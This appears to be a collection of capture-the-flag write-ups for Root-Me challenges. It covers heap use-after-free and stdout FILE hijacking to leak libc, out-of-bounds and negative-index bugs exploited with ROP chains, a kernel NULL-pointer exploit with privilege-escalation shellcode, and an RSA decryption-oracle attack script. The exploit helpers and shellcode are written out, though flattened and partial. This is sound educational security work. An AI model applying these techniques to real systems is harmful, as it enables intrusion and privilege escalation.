Exploit the UAF vulnerability to create a fake unsortedbin chunk by modify the size of a chunk. Using the residual data of the unsortedbin chunk to collide the address of _IO_2_1_stdout_ . Modify the last bit of _IO_write_base to \x08 so that we can leak the libc address. Hijack the _IO_write_base to environ then we can leak the stack address.
Now we can exploit the UAF vulnerability to control the program’s execution flow by hijacking the return address on the stack. However, the .passwd is a directory and the filename of flag is unknown. Therefore, we must first leak the name of files which in .passwd directory. getdents64 syscall is used to read file names from a directory, the usage of it can be referred to here.
rc = lambda n : io.recv(n) ru = lambda x : io.recvuntil(x, drop = True) sd = lambda x : io.send(x) sa = lambda a, b : io.sendafter(a, b) sla = lambda a, b : io.sendlineafter(a, b) ia = lambda : io.interactive() uu64 = lambda x : u64(x.ljust(8, b'\x00')) libc_os = lambda x : libc_base + x libc_sym = lambda x : libc_os(libc.sym[x])
The operations related to registers can cause out-of-bounds read and write. Exploit this vulnerability to leak the libc address and hijack the return address of main function.
rc = lambda n : io.recv(n) ru = lambda x : io.recvuntil(x, drop = True) sl = lambda x : io.sendline(x) sla = lambda a, b : io.sendlineafter(a, b) ia = lambda : io.interactive() libc_os = lambda x : libc_base + x
defwrite(r, offset): op = 0xe << 4 op += 3 << 2 op += r res = p8(op) res += p8(offset >> 8) res += p8(offset & 0xff) return res
defread(r, offset): op = 0xe << 4 op += 2 << 2 op += r res = p8(op) res += p8(offset >> 8) res += p8(offset & 0xff) return res
defwrite_reg(mod, r, n): op = 2 << 4 op += r << 2 op += mod res = p8(op) res += p8(n >> 8) res += p8(n & 0xff) return res
defput_reg(mod, r, n): op = 3 << 4 op += mod << 2 op += r res = p8(op) res += p8(n >> 8) res += p8(n & 0xff) return res
rc = lambda n : io.recv(n) ru = lambda x : io.recvuntil(x, drop = True) sl = lambda x : io.sendline(x) sa = lambda a, b : io.sendafter(a, b) sla = lambda a, b : io.sendlineafter(a, b) ia = lambda : io.interactive() uu64 = lambda x : u64(x.ljust(8, b'\x00')) pie_os = lambda x : pie_base + x
The function prompt_index lacks checking for negative numbers. Therefore, we can use negative numbers to bypass the index check which can lead to potential cross-border reading and writing. Note that the stdout pointer is positioned below the pages array, so we can use this vulnerability to hijack the pointer and control the program’s execution flow.
To leak the libc address, we can fill up the tcachebins, then the next chunk will be freed into the unsortedbin and we leak the libc address through it.
PS: When I hijacked the execution flow to system('/bin/sh') and tried to cat the .passwd ，I failed. I found that even if the program is executed under the permission of the user app-systeme-ch87-cracked, the shell is still launched as user app-systeme-ch87 (I have no idea about it). Finally I built an ORW ropchain and successfully printed the content of .passwd :)
ru = lambda x : io.recvuntil(x, drop = True) sa = lambda a, b : io.sendafter(a, b) sla = lambda a, b : io.sendlineafter(a, b) ia = lambda : io.interactive() uu64 = lambda x : u64(x.ljust(8, b'\x00')) libc_os = lambda x : libc_base + x heap_os = lambda x : heap_base + x
Initially, I was misled by the name of this challenge and attempted to find the exploit points for a race condition. However, after analyzing for some time, I couldn’t find out where can trigger a vulnerability of race condition. The following source code snippet is what I consider a suspicious exploitable point. When multiple threads simultaneously enter the else branch while tostring->pointer < tostring->pointer_max , this may result in a kernel heap overflow vulnerability in the tostring_stack member variable. However, I feel that the likelihood of successfully triggering a race condition exploit in this circumstance is very low (even close to impossible) , so I soon gave up XD
1 2 3 4
if (tostring->pointer >= tostring->pointer_max) printk(KERN_INFO "Tostring: full stack\n"); else tostring->tostring_stack[(tostring->pointer)++] = *((longlongint *)(bufk + i));
Review the challenge description again, I found that the mmap_min_addr protection is disabled. In the Debian Wiki, it is explained as follows:
mmap_min_addr is a kernel tunable that specifies the minimum virtual address that a process is allowed to mmap. Allowing processes to map low values increases the security implications of a class of defects known as “kernel NULL pointer dereference” defects. If a malicious local user finds a way to trigger one of these NULL pointer defects, they can exploit it to cause system hangs, crashes, or otherwise make parts of the system unusable. If this user is also able to map low portions of virtual memory, they can often further exploit this issue to gain increased privileges.
This means that without this protection, we are able to use the mmap function to map addresses starting from 0.
In the tostring_read function of the module, the variable tostring->tostring_read is called as a function pointer. Therefore, if we can control this pointer, we can achieve arbitrary address execution. Note that the tostring->tostring_read will be set to NULL in the tostring_close function. Then we can trigger evil code execution by putting shellcode into the 0 address and calling the tostring_read function. (Both SMEP and SMAP are disabled, so it’s valid for us to execute the user code in kernel mode)
Now the steps to exploit the vulnerability appear to be clear. Firstly, map the 0 address and put the privilege escalation shellcode on it. Next, open the /dev/tostring device twice then close the first one. Finally, use the read function on the second device. It will call the tostring->tostring_read which has been set to NULL and execute the evil shellcode to obtain root privileges.
Python script used to generate shellcode:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
#!/usr/bin/env python from pwn import* import sys context.arch = 'amd64' code = ''' mov rdi, 0 mov rdx, 0xffffffff8107af00 call rdx mov rdi, rax mov rdx, 0xffffffff8107ab70 call rdx ret ''' code = asm(code) sys.stdout.write('"') for x in code: sys.stdout.write('\\x' + hex(ord(x))[2:]) sys.stdout.write('"') # "\x48\xc7\xc7\x0\x0\x0\x0\x48\xc7\xc2\x0\xaf\x7\x81\xff\xd2\x48\x89\xc7\x48\xc7\xc2\x70\xab\x7\x81\xff\xd2\xc3"
Known n, e, c. Let x=ce+1 mod n. Send x to the server and get the plaintext z.
From the RSA algorithm, we can imply:
z = (ce+1 mod n)d mod n
z = (ce+1)d mod n
z = (ced*cd) mod n
z = (c*cd) mod n
The target plaintext is m = cd mod n. Therefore, we firstly calculate the modular inverse of c and multiply both sides of the equation by it. Than the equation becomes z*c_inv = (c*c_inv*cd) mod n, that is, z*c_inv = cd mod n = m. Covert the plaintext m to string and we will get the flag of this challenge.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
from Crypto.Util.number import long_to_bytes from pwn import remote r = remote('challenge01.root-me.org', 51031) n = 456378902858290907415273676326459758501863587455889046415299414290812776158851091008643992243505529957417209835882169153356466939122622249355759661863573516345589069208441886191855002128064647429111920432377907516007825359999 e = 65537 c = 41662410494900335978865720133929900027297481493143223026704112339997247425350599249812554512606167456298217619549359408254657263874918458518753744624966096201608819511858664268685529336163181156329400702800322067190861310616
x = c**(e+1) % n r.sendlineafter('What\'s the ciphertext you want me to decrypt?', str(x)) r.recvuntil('The corresponding plaintext is: ') z = int(r.recvuntil('\n')) c_inv = pow(c, -1, n) m = long_to_bytes(c_inv*z%n) print(m)
